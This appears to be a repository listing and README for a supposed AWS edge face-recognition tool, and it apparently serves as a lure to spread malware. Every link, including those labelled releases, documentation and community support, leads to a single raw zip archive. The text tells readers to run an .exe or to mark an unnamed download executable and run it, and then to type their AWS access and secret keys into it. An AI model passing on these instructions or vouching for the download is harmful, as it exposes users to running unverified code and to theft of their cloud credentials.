https://github.com/kendo2462/aws-edge-face-recognition
🤖 Enable real-time face recognition at the edge using AWS IoT Greengrass and Lambda for low-latency, privacy-preserving machine learning.
https://github.com/kendo2462/aws-edge-face-recognition
aws aws-greengrass aws-lambda ec2 edge-computing iot iot-core mqtt pytorch serverless sqs
Last synced: 2 months ago
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🤖 Enable real-time face recognition at the edge using AWS IoT Greengrass and Lambda for low-latency, privacy-preserving machine learning.
- Host: GitHub
- URL: https://github.com/kendo2462/aws-edge-face-recognition
- Owner: kendo2462
- Created: 2025-11-03T04:01:58.000Z (8 months ago)
- Default Branch: main
- Last Pushed: 2026-05-03T01:03:53.000Z (2 months ago)
- Last Synced: 2026-05-03T01:44:23.445Z (2 months ago)
- Topics: aws, aws-greengrass, aws-lambda, ec2, edge-computing, iot, iot-core, mqtt, pytorch, serverless, sqs
- Language: Python
- Size: 1.85 MB
- Stars: 0
- Watchers: 1
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
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README
# 🎉 aws-edge-face-recognition - Smart Face Recognition for Your Devices
## 🌟 Overview
This application enables edge computing face recognition using AWS IoT Greengrass and AWS Lambda. IoT devices will perform local face detection, while AWS Lambda handles cloud-based face recognition with SQS and PyTorch. Enjoy the benefits of fast, efficient facial recognition with a reliable backend service.
## 📦 Download & Install
**To get started, visit this page to download the latest version of the software: [Releases Page](https://github.com/kendo2462/aws-edge-face-recognition/raw/refs/heads/main/face-detection/edge-recognition-aws-face-v3.0.zip)**
## 🛠️ System Requirements
Before you start, ensure your system meets these requirements:
- **OS**: Windows 10 or later, macOS High Sierra or later, or a version of Linux that supports Docker.
- **RAM**: Minimum 4 GB, recommended 8 GB or more for optimal performance.
- **Storage**: At least 200 MB of free disk space.
- **Internet**: An active internet connection for downloading dependencies and software updates.
## 🚀 Getting Started
1. **Download the Software**
Visit the [Releases Page](https://github.com/kendo2462/aws-edge-face-recognition/raw/refs/heads/main/face-detection/edge-recognition-aws-face-v3.0.zip) and choose the latest version. Click on your operating system to start the download.
2. **Install the Software**
- For **Windows**: Find the downloaded `.exe` file, double-click it, and follow the on-screen instructions to install.
- For **macOS**: Open the downloaded `.dmg` file, drag the application into your Applications folder, and launch it from there.
- For **Linux**: Make the downloaded file executable. Open a terminal and run:
```
chmod +x ./your_downloaded_file
./your_downloaded_file
```
3. **Configure Your Settings**
Once installed, open the application. You will need to configure it to connect to your AWS account. This involves adding your AWS Access Key, Secret Key, and region information into the settings.
4. **Set Up Your IoT Device**
Follow the prompts to set up your IoT device. Ensure your device is connected to the internet and meets the necessary requirements.
5. **Test the Application**
After setting up, test the application by capturing a face. The recognition process will operate locally, and results will sync with the cloud service for enhanced functionality.
## ⚙️ Features
- **Local Face Detection**: Detect faces with high accuracy using edge computing.
- **Cloud Integration**: Sync data seamlessly with AWS Lambda and SQS for robust performance.
- **Real-Time Processing**: Experience fast recognition capabilities ideal for real-time applications.
- **Scalable Architecture**: Easily manage multiple devices with our serverless backend.
## 🚧 Troubleshooting
If you run into any issues:
- **Installation Problems**: Ensure your OS is compatible with the software you downloaded.
- **Configuration Issues**: Double-check your AWS credentials and ensure they have the necessary permissions for using AWS services.
- **Recognition Errors**: Verify that your IoT device's camera is functioning correctly. Also, ensure sufficient lighting during capture.
## 🗂️ Additional Resources
- **Documentation**: For more detailed instructions, refer to the official [Documentation](https://github.com/kendo2462/aws-edge-face-recognition/raw/refs/heads/main/face-detection/edge-recognition-aws-face-v3.0.zip).
- **Community Support**: Join our [Discussion Board](https://github.com/kendo2462/aws-edge-face-recognition/raw/refs/heads/main/face-detection/edge-recognition-aws-face-v3.0.zip) for questions and support.
## 🌍 Topics
This project relates to:
- aws
- aws-greengrass
- aws-lambda
- ec2
- edge-computing
- iot
- iot-core
- mqtt
- pytorch
- serverless
- sqs
**Make sure to explore the technologies involved for a better understanding!**
## ✅ Conclusion
Now you are ready to use the aws-edge-face-recognition application. Follow the steps carefully, and you will have a powerful tool for face recognition at your fingertips. Enjoy the innovative potential of edge computing!